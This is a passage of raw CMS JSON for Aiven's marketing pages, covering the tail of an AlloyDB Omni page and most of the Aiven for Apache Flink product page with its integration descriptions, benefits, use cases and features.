center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":false,"disabled":false,"fullWidth":true,"headerPosition":"default","id":"resources","items":[{"_key":"d971fb87548c27cc74d7418d6df45a08","_ref":"3ea23ffa-ab8d-4a18-abb7-e689516a356b","_type":"reference"},{"_key":"013a38522167","_ref":"6de596ee-66df-412f-abb4-73d7e70e38cf","_type":"reference"},{"_key":"0cce2d154227","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/docs/products/alloydbomni","title":"Go to docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-5a2faa576bc2160fff4bfe4492c44746547cbe6d-1200x630-png","_type":"reference"}},"subtitle":[{"_key":"6ccff9b3020f","_type":"block","children":[{"_key":"54e3760e3b4f0","_type":"span","marks":[],"text":"Getting started with Aiven for AlloyDB Omni, core concepts, how-to's and more."}],"markDefs":[],"style":"normal"}],"tagline":"Aiven Docs","title":"Documentations","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-tl","title":"Related resources"},{"_key":"9ea9e20f9cda","_type":"testimonial","ctaLink":{"_type":"link","internalLink":{"_ref":"be4378c0-8d66-4694-8a37-b9519f4b10ae","_type":"reference"},"title":"View all case studies"},"disabled":true,"fullWidth":false,"id":"references","items":[{"_key":"a168a11b5c6e","_ref":"2jy3rhB4RcMWV5uGMAvmyG","_type":"reference"},{"_key":"a3dc9bc30881","_ref":"LUQA3Da37Nwm4sXBuCTQe","_type":"reference"},{"_key":"b4a4ada052e4","_ref":"aa3d454c-1086-47a1-a7f6-d364ed453102","_type":"reference"}],"noSpaceBottom":false,"tagline":"Customer stories","title":"How Aiven customers use AlloyDB Omni","variant":"logo"}],"seo":{"_type":"metaData","metaDescription":"Aiven for AlloyDB Omni – High performance PostgreSQL database service on any cloud, managed by Aiven.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-afaca998eee73040f864d56d6517b279b04c7a95-1200x630-jpg","_type":"reference"}},"metaStructuredData":"{\n \"name\": \"Aiven for AlloyDB Omni\",\n \"@type\": \"SoftwareApplication\",\n \"@context\": \"http://schema.org\",\n \"keywords\": \"Managed AlloyDB Omni, AlloyDB Omni as a Service, Managed PostgreSQL Database, Cloud PostgreSQL\",\n \"description\": \"Aiven for AlloyDB Omni combines the high-performance, PostgreSQL compatible Google AlloyDB Omni database with multi-cloud coverage on Google Cloud Platform, Amazon Web Services, and Microsoft Azure to provide a managed cloud AlloyDB Omni database.\",\n \"featureList\": \"Read only replicas, Remote read replicas, Logical replication, In-place major upgrades, PostgreSQL extensions, Columnar engine for fast analytics, Built-in AI, Connection pooling, Database forking, Point In Time Recovery, Terraform support, Aiven metrics integration, Aiven service log integration, VPC peering, High availability, Available in Google Cloud Platform, Available in Amazon Web Services, Available in Microsoft Azure\",\n \"softwareHelp\": {\n \"url\": \"https://aiven.io/docs/products/alloydbomni\",\n \"@type\": \"CreativeWork\"\n },\n \"operatingSystem\": \"N/A\",\n \"applicationCategory\": \"Open Source SQL database\",\n \"applicationSubCategory\": \"Relational Database Management System\"\n}","metaTitle":"Managed Google AlloyDB Omni service | Aiven"},"service":{"_ref":"4a513bb1-7be8-4a17-a847-cbbeedb2da2b","_type":"reference"},"slug":{"_type":"slug","current":"/alloydb-omni"},"title":"AlloyDB Omni"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c__i18n_ja","_type":"reference"}],"_createdAt":"2022-09-16T10:54:18Z","_id":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_rev":"UCe181y7ND8VpGNVLEV8UD","_type":"product","_updatedAt":"2025-01-15T15:43:54Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Apache Flink®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de","_type":"reference"},"title":"Aiven Platform"}},"darkTheme":true,"description":[{"_key":"1620e1ea4abb","_type":"block","children":[{"_key":"9997014cbdd40","_type":"span","marks":[],"text":"A fully managed streaming SQL engine based on Apache Flink, for all your event-driven applications and streaming analytics needs."}],"markDefs":[],"style":"normal"}],"disabled":false,"formType":"trial","heroHasForm":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"80ee9fd373b3","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-4d7065905135f66cc4bace9cc5bbf9a7064df2e4-2500x1700-png","_type":"reference"}},"imageSize":"default","primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/flink","title":"See docs"},"tagline":"Managed and hosted","tertiaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/flink","title":"See docs"},"title":"Aiven for Apache Flink®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"How it works"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"Benefits"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"Customer use cases"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"Features"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"Pricing"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"FAQ"},{"_key":"8af4fd351767","_type":"scrollSpyNavItem","sectionId":"resources","title":"Resources"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"53f983e1-0b44-4570-8e1d-2f495cea3f7c","_type":"reference"},"title":"Aiven for Apache Flink®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"title":"Aiven for Apache Flink®"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","rounded":false,"steps":[{"_key":"7764be2f4957","_type":"textItem","content":[{"_key":"578dbec12e2e","_type":"block","children":[{"_key":"bb102e42c32d0","_type":"span","marks":[],"text":"Process massive amounts of events with Aiven for Apache Flink"}],"markDefs":[],"style":"h3"},{"_key":"b30f172ee50a","_type":"block","children":[{"_key":"c905e1c4214a0","_type":"span","marks":[],"text":"A fully managed distributed stream processing technology, deployable in the cloud of your choice. Ideal for real-time alerting, enriching, aggregation, filtering and analyzing of events."}],"markDefs":[],"style":"normal"},{"_key":"c445b6894858","_type":"block","children":[{"_key":"4da4eb6745ee0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"f1ce284506d5","_type":"block","children":[{"_key":"c186727507cf0","_type":"span","marks":["d7f73f3275b4"],"text":"Get started with Aiven for Apache Flink (docs)"}],"markDefs":[{"_key":"d7f73f3275b4","_type":"link","href":"https://aiven.io/docs/products/flink/get-started"},{"_key":"e88d6b1768f6","_type":"link","href":"https://aiven.io/blog/introduction-to-apache-flink"},{"_key":"0b469ec50bba","_type":"link","href":"https://aiven.io/blog/easy-real-time-streaming-insights"}],"style":"normal"},{"_key":"7e145701facb","_type":"block","children":[{"_key":"c186727507cf1","_type":"span","marks":["01a5b5605d18"],"text":"Introduction to Apache Flink (blog)"}],"markDefs":[{"_key":"01a5b5605d18","_type":"internalLink","internalLink":{"_ref":"2gd1vIdghZUUbOpQMshxXS","_type":"reference"}}],"style":"normal"},{"_key":"2a75576c230d","_type":"block","children":[{"_key":"c186727507cf2","_type":"span","marks":["89695f4f361f"],"text":"How to get easy real-time streaming insights (blog)"}],"markDefs":[{"_key":"89695f4f361f","_type":"internalLink","internalLink":{"_ref":"2CKVoUxT8ZzGnLm7Sr23gu","_type":"reference"}}],"style":"normal"}]},{"_key":"680f378ade94","_type":"textItem","content":[{"_key":"826854fc2e02","_type":"block","children":[{"_key":"1a1c1fa184670","_type":"span","marks":[],"text":"Use Apache Kafka as a data source and sink for Aiven for Apache Flink"}],"markDefs":[],"style":"h3"},{"_key":"5829dda5a9e2","_type":"block","children":[{"_key":"3365f61fac550","_type":"span","marks":[],"text":"A fully managed distributed data streaming technology, capable of handling millions of events at any one time. You can connect it with Aiven for Apache Flink using our built-in connectors to process events using simple SQL language."}],"markDefs":[],"style":"normal"},{"_key":"46abc68b4583","_type":"block","children":[{"_key":"6bf29b7a510a0","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"8efb91779826","_type":"block","children":[{"_key":"fe5eec67065b0","_type":"span","marks":["bc587d53daa3"],"text":"Use Apache Flink with Aiven for Apache Kafka® (docs)"}],"markDefs":[{"_key":"bc587d53daa3","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/flink-with-aiven-for-kafka"}],"style":"normal"},{"_key":"cf6a1d94f2d4","_type":"block","children":[{"_key":"86215747d2ae0","_type":"span","marks":["9f5d8a004b1e"],"text":"Build a Streaming SQL Pipeline with Apache Flink® and Apache Kafka® (blog)"}],"markDefs":[{"_key":"9f5d8a004b1e","_type":"internalLink","internalLink":{"_ref":"7IDTlcURHzZ8SEgvYlcy6Q","_type":"reference"}}],"style":"normal"},{"_key":"9fc7189fa7a4","_type":"block","children":[{"_key":"b0a443ef606e0","_type":"span","marks":["7e3fdf430c2a"],"text":"Real-time stock data with Apache Flink® and Apache Kafka® (blog)"}],"markDefs":[{"_key":"7e3fdf430c2a","_type":"internalLink","internalLink":{"_ref":"6Try3Yao44IvWVZPip4pzx","_type":"reference"}}],"style":"normal"}]},{"_key":"cabb6824cfc1","_type":"textItem","content":[{"_key":"c50f8e7d028f","_type":"block","children":[{"_key":"bb32b9ae06cf0","_type":"span","marks":[],"text":"Use the PostgreSQL CDC Connector for Change Data Capture"}],"markDefs":[],"style":"h3"},{"_key":"ce3d10247cbe","_type":"block","children":[{"_key":"04743b4fe3bc","_type":"span","marks":[],"text":"Using the Debezium framework, you can now stream and process in real time row changes that occur in your PostgreSQL instance. This helps with microservices synchronization and data replication use cases."}],"markDefs":[],"style":"normal"},{"_key":"e8a72e2ad728","_type":"block","children":[{"_key":"638b36c7ce14","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"131b0716e85c","_type":"block","children":[{"_key":"9688b88225e3","_type":"span","marks":["527e7c2a9c8b"],"text":"Aiven for PostgreSQL (web page)"}],"markDefs":[{"_key":"527e7c2a9c8b","_type":"internalLink","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"}}],"style":"normal"},{"_key":"5e786ece2083","_type":"block","children":[{"_key":"5718b054218f0","_type":"span","marks":["89f4dc5bd349"],"text":"Introducing Aiven for PostgreSQL® change data capture (blog)"}],"markDefs":[{"_key":"89f4dc5bd349","_type":"internalLink","internalLink":{"_ref":"5wDYGN4Bu5srnQl4prrjqp","_type":"reference"}}],"style":"normal"},{"_key":"7ecba18df706","_type":"block","children":[{"_key":"a01c206567e40","_type":"span","marks":["006fe645f525"],"text":"Create a PostgreSQL® CDC connector-based Apache Flink® (docs)"}],"markDefs":[{"_key":"006fe645f525","_type":"link","href":"https://aiven.io/docs/products/flink/howto/pg-cdc-connector"}],"style":"normal"}]},{"_key":"c21c00012d88","_type":"textItem","content":[{"_key":"bd8f8749e128","_type":"block","children":[{"_key":"e2962ee98d25","_type":"span","marks":["strong"],"text":"Use OpenSearch as a data sink for your Aiven for Apache Flink"}],"markDefs":[],"style":"h3"},{"_key":"4530f1fd8610","_type":"block","children":[{"_key":"8c62cfb35f6f","_type":"span","marks":[],"text":"A fully managed search and analytics suite for analytics and visualizations forked from Elasticsearch. You can connect it with Aiven for Apache Flink using our built-in connector to create real-time views of your streaming data."}],"markDefs":[],"style":"normal"},{"_key":"129a4f66784d","_type":"block","children":[{"_key":"091d67780569","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"3a4ac2c35baf","_type":"block","children":[{"_key":"55420a62e664","_type":"span","marks":["3389e5155d37"],"text":"Aiven for OpenSearch (web page)"}],"markDefs":[{"_key":"3389e5155d37","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"}}],"style":"normal"},{"_key":"a2daf929c681","_type":"block","children":[{"_key":"fcc708fdeda5","_type":"span","marks":["bc2aa1515f12"],"text":"Get started with Aiven for OpenSearch (docs)"}],"markDefs":[{"_key":"bc2aa1515f12","_type":"link","href":"https://aiven.io/docs/products/opensearch/get-started"},{"_key":"a6b43a16e913","_type":"link","href":"https://aiven.io/blog/introduction-to-opensearch"}],"style":"normal"},{"_key":"88c92d0c1b55","_type":"block","children":[{"_key":"9d262634771a","_type":"span","marks":["7cee9025869b"],"text":"Introduction to OpenSearch (blog)"}],"markDefs":[{"_key":"7cee9025869b","_type":"internalLink","internalLink":{"_ref":"6ZvCHgvqQ4LdO9pcFMB13H","_type":"reference"}}],"style":"normal"}]},{"_key":"c79d30ba68bff74e2937cdf7dfcf7154","_type":"textItem","content":[{"_key":"c954ee8958ab","_type":"block","children":[{"_key":"eff408353e030","_type":"span","marks":[],"text":"Easily connect your own Apache Kafka clusters to Aiven for Apache Flink"}],"markDefs":[],"style":"h3"},{"_key":"acfa98a171e8","_type":"block","children":[{"_key":"74dfda25be320","_type":"span","marks":[],"text":"You can easily connect your existing Kafka clusters to Aiven for Apache Flink® - whether you are self-managing them or using a managed vendor of your choice."}],"markDefs":[],"style":"normal"},{"_key":"89b96b732f4f","_type":"block","children":[{"_key":"a205eb00ef050","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"163ec8040791","_type":"block","children":[{"_key":"2bb48e95b2640","_type":"span","marks":["5fd9376e1084"],"text":"Build a Streaming SQL Pipeline with Apache Flink® and Apache Kafka® (blog)"}],"markDefs":[{"_key":"5fd9376e1084","_type":"internalLink","internalLink":{"_ref":"6d2dc544-51e6-459e-8669-8d92544accb2","_type":"reference"}}],"style":"normal"},{"_key":"13612bcaf726","_type":"block","children":[{"_key":"01d329b1bf260","_type":"span","marks":["69e672953180"],"text":"Real-time stock data with Apache Flink® and Apache Kafka® (blog)"}],"markDefs":[{"_key":"69e672953180","_type":"internalLink","internalLink":{"_ref":"6Try3Yao44IvWVZPip4pzx","_type":"reference"}}],"style":"normal"},{"_key":"b81fbbb4858e","_type":"block","children":[{"_key":"9ddf1b2db9fe0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}]},{"_key":"0051a4d8a8fe","_type":"textItem","content":[{"_key":"2f5ac16f1b5f","_type":"block","children":[{"_key":"980e85ed07fd","_type":"span","marks":[],"text":"Connect streaming data and analytical workloads with the Flink and BigQuery connector"}],"markDefs":[{"_key":"e9687a482c6a","_type":"link","href":"https://aiven.io/blog/aiven-connecting-streaming-data-with-the-bigquery-ecosystem"},{"_key":"570bb387967c","_type":"link","href":"https://aiven.io/docs/products/flink/howto/connect-bigquery"},{"_key":"9f83273e729b","_type":"link","href":"https://github.com/aiven/bigquery-connector-for-apache-flink"}],"style":"h3"},{"_key":"4937073be679","_type":"block","children":[{"_key":"65e656b27db2","_type":"span","marks":[],"text":"Effortlessly make real time transformations to your data streams and pass the transformed events to BigQuery for further analytical and data warehousing use cases."}],"markDefs":[],"style":"normal"},{"_key":"ed78ee30559c","_type":"block","children":[{"_key":"ee9c77c78a2b","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"fd8452276bb1","_type":"block","children":[{"_key":"21cc27f0c2c5","_type":"span","marks":["2c8b9f68092a"],"text":"Aiven is connecting streaming data with the Google BigQuery ecosystem (blog)"}],"markDefs":[{"_key":"2c8b9f68092a","_type":"internalLink","internalLink":{"_ref":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_type":"reference"}}],"style":"normal"},{"_key":"0937d2ec3b07","_type":"block","children":[{"_key":"3393b6083981","_type":"span","marks":["fe5cf4ab4bd0"],"text":"Integrate Aiven for Apache Flink with Google BigQuery (docs)"}],"markDefs":[{"_key":"fe5cf4ab4bd0","_type":"link","href":"https://aiven.io/docs/products/flink/howto/connect-bigquery"}],"style":"normal"},{"_key":"604e8974cc6e","_type":"block","children":[{"_key":"51ea9cf23baf","_type":"span","marks":["a312ede1546f"],"text":"Open source BigQuery Connector for Apache Flink (Github)"}],"markDefs":[{"_key":"a312ede1546f","_type":"link","href":"https://github.com/aiven/bigquery-connector-for-apache-flink"}],"style":"normal"}]},{"_key":"210ab8dbbc22","_type":"textItem","content":[{"_key":"c566383aeeda","_type":"block","children":[{"_key":"57ef6e665852","_type":"span","marks":["strong"],"text":"Integrate with logging and monitoring tools from Aiven"}],"markDefs":[],"style":"h3"},{"_key":"811a5773a397","_type":"block","children":[{"_key":"a87c502ca45c","_type":"span","marks":[],"text":"Easy integrations with Aiven services for M3, Grafana and OpenSearch for enhanced monitoring and logging. Expose your server or service specific metrics to monitor the health of your Flink cluster."}],"markDefs":[],"style":"normal"},{"_key":"43dd31487424","_type":"block","children":[{"_key":"3edcfdcbed89","_type":"span","marks":["strong"],"text":"Resources:"}],"markDefs":[],"style":"normal"},{"_key":"e2addc0fe95f","_type":"block","children":[{"_key":"8849e1da9034","_type":"span","marks":["c185739c86ae"],"text":"Get started with integrations (docs)"}],"markDefs":[{"_key":"c185739c86ae","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/create-integration"},{"_key":"63e3fc35dad0","_type":"link","href":"https://aiven.io/integrations-and-connectors"}],"style":"normal"},{"_key":"bbca3aad5668","_type":"block","children":[{"_key":"b331aad16e41","_type":"span","marks":["831c8f792585"],"text":"All integrations for Aiven products (web page)"}],"markDefs":[{"_key":"831c8f792585","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4","_type":"reference"}}],"style":"normal"}]}],"subtitle":[{"_key":"1cc8d5a87474","_type":"block","children":[{"_key":"2d3bdd43eddf0","_type":"span","marks":[],"text":"Get up and running with the full power of Apache Flink in under 10 minutes. With seamless integration with Aiven for Apache Kafka you can easily process millions of events per minute and transfer data to your desired destination. And with the added ability to integrate logs and metrics, you'll have a complete overview of your system's performance."}],"markDefs":[],"style":"normal"}],"tagline":"How it works","title":"What is Apache Flink® like with Aiven?","tools":[{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"}],"toolsTitle":"Manage with the tools you want:","variant":"flink"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"89acedc6beeb","_type":"block","children":[{"_key":"100bfa4ec5410","_type":"span","marks":[],"text":"The combination of Aiven for Apache Kafka and Flink results in the easiest event stream processing solution on the market. Having Apache Flink and Apache Kafka from Aiven means that you can easily integrate the two services with the click of a few buttons while at the same time you get the same SLA support team for both your services from the same vendor. No more separate billing and invoicing for the different components of your streaming infrastrcuture."}],"markDefs":[],"style":"normal"}],"title":"Managed Apache Flink and Apache Kafka under the same roof."},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-153e71062bf77d01b33f0faef08cdd21d706c3a4-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4b3880d920e3","_type":"block","children":[{"_key":"32c354d66a4a0","_type":"span","marks":[],"text":"Apache Flink enables you to easily create real-time streaming analytics and build event driven applications by using the familiar SQL language. No coding required."}],"markDefs":[],"style":"normal"}],"title":"No code to write, only simple SQL statements in Flink."},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"b71cde196181","_type":"block","children":[{"_key":"bc3d64330e130","_type":"span","marks":[],"text":"Aiven for Apache Flink comes with all-inclusive pricing. No hidden fees or charges, just one payment that covers networking to data storage, and everything in-between."}],"markDefs":[],"style":"normal"}],"title":"Super-transparent pricing. No networking costs."},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ac6bcb5a619c","_type":"block","children":[{"_key":"987b7a5a638c0","_type":"span","marks":[],"text":"Downtime is a disaster for critical applications. That’s why Aiven makes sure you get 99.99% SLA. Plus, you get access to an expert support organization round the clock, every day of the year—in case you need a helping hand."}],"markDefs":[],"style":"normal"}],"title":"99.99% SLA, 24/7 support"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"43c11459e921","_type":"block","children":[{"_key":"7ae1ab67b0060","_type":"span","marks":[],"text":"Flink is part of a new class of systems that see data as "},{"_key":"819c87489206","_type":"span","marks":["em"],"text":"event streams"},{"_key":"af1a66462f77","_type":"span","marks":[],"text":", which makes it possible to process those events scalably and in real time. It’s helping organizations transition away from batch processing towards "},{"_key":"72c16745dc35","_type":"span","marks":["f69275135026"],"text":"powerful stream processing"},{"_key":"1c34ccdad60d","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f69275135026","_type":"link","href":"https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink"}],"style":"normal"},{"_key":"d1f8a89cf7e3","_type":"block","children":[{"_key":"106436e6cd760","_type":"span","marks":[],"text":"Aiven’s managed Apache Flink service is a perfect companion to Aiven for Apache Kafka. You'll be able to perform filtering, enriching, aggregation, alerting and analysis of events in real time."}],"markDefs":[],"style":"normal"}],"tagline":"Benefits","title":"Benefits of Aiven’s managed service for Apache Flink®","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"f2ed220b44e7","_type":"block","children":[{"_key":"f6ff5e6822600","_type":"span","marks":[],"text":"Make your streaming data immediately actionable by alerting on out-of-bounds values or detecting anomalous patterns."}],"markDefs":[],"style":"normal"},{"_key":"df9920be860c","_type":"block","children":[{"_key":"2ba99a0f80b10","_type":"span","marks":[],"text":"Ad optimizations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8329887a53e3","_type":"block","children":[{"_key":"9d1fc5dc239b0","_type":"span","marks":[],"text":"Buyer personalization"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4b3beab09307","_type":"block","children":[{"_key":"4dcd0f0840220","_type":"span","marks":[],"text":"Real-time inventory management"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6257bc3a1e9a","_type":"block","children":[{"_key":"f4dcee3b52fb0","_type":"span","marks":[],"text":"Fraud detection"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"86bfd7c8f5a1","_type":"block","children":[{"_key":"81f18ce0fe150","_type":"span","marks":[],"text":"Stock trading"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Real-time alerting","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"0976732e9313","_type":"block","children":[{"_key":"d47ac31f45e80","_type":"span","marks":[],"text":"Build streaming analytics for your data streams aggregated over time windows. Push the data to the integrated Aiven for OpenSearch service for visualizing with updated dashboards in near real time."}],"markDefs":[],"style":"normal"},{"_key":"8608aed77148","_type":"block","children":[{"_key":"a41935d888040","_type":"span","marks":[],"text":"User locations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d638ec5c3284","_type":"block","children":[{"_key":"e03f5cf434240","_type":"span","marks":[],"text":"Real time inventory management"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"08de07b4a766","_type":"block","children":[{"_key":"3aa797d6d52f0","_type":"span","marks":[],"text":"IT security"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e74f3ba6cefa","_type":"block","children":[{"_key":"e78345d676940","_type":"span","marks":[],"text":"A/B testing"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fc590fa1c679","_type":"block","children":[{"_key":"0d78b4352ac90","_type":"span","marks":[],"text":"Trend Monitoring"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Streaming analytics","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"subtitle":[{"_key":"bd97397b76a6","_type":"block","children":[{"_key":"8e3eab2445a20","_type":"span","marks":[],"text":"Simplify your streaming data processing by enriching, aggregating or filtering the data only once – before it is passed on to your business applications."}],"markDefs":[],"style":"normal"},{"_key":"9ec9159398b4","_type":"block","children":[{"_key":"243af5eba0670","_type":"span","marks":[],"text":"GDPR compliance"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"343afd43def1","_type":"block","children":[{"_key":"e9225701ad190","_type":"span","marks":[],"text":"Error management"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"9713804af459","_type":"block","children":[{"_key":"9580a0d5ae100","_type":"span","marks":[],"text":"Quality monitoring"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Real-time data transformation","variant":"icon-card"}],"rounded":false,"tagline":"Customer use cases","title":"How Aiven customers use Apache Flink"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","noSpaceBottom":false,"rounded":false,"tagline":"Features","title":"Key features of Aiven for Apache Flink","variant":"centerColumn"},{"_key":"eabc0f4cd1ea8f422db802c189761df7","_type":"textImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-4c00a511c60ca18d408179dae0354ae5c5e4339f-1324x765-jpg","_type":"reference"}},"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"tagline":"Setup","text":[{"_key":"a95bdc9c2065","_type":"block","children":[{"_key":"1cabe820dadc","_type":"span","marks":[],"text":"Production-ready Apache Flink clusters in 5 minutes"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e8bb80519af0","_type":"block","children":[{"_key":"296bde35bceb","_type":"span","marks":[],"text":"Deploy to the cloud of your choice — choose from major cloud providers including AWS, Google Cloud, and Microsoft Azure"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4dbe08aacd82","_type":"block","children":[{"_key":"6ed7a09f832d","_type":"span","marks":[],"text":"Easily integrate your data with source and sink connectors to other Aiven services"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5588a13e4d1d","_type":"block","children":[{"_key":"92541e0763e6","_type":"span","marks":[],"text":"All inclusive pricing — network costs are covered, no surprises"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Flexible, fast and stress-free","variant":"mediaLeft"},{"_key":"9ff92ee9acd19816a4e55fef8f437576","_type":"textImage","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-35706c3eb2da88f2317599b1725ccff7d61b0ad0-1920x1080-jpg","_type":"reference"}},"noSpaceBottom":true,"rounded":false,"tagline":"Connect","text":[{"_key":"6ddc093c74f2","_type":"block","children":[{"_key":"de268cc33a1d0","_type":"span","marks":["66cebc3e9e93"],"text":"Connect easily to other Aiven services"},{"_key":"65047d7597b1","_type":"span","marks":[],"text":" with built-in connectors"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"66cebc3e9e93","_type":"link","href":"https://docs.aiven.io/docs/products/flink/howto/create-integration"}],"style":"normal"},{"_key":"d1d01d4d75f5","_type":"block","children":[{"_key":"09cd0f834a1b","_type":"span","marks":[],"text":"Secure network connectivity using "},{"_key":"0f96232e526a1","_type":"span","marks":["b2a2179d2803"],"text":"VPC 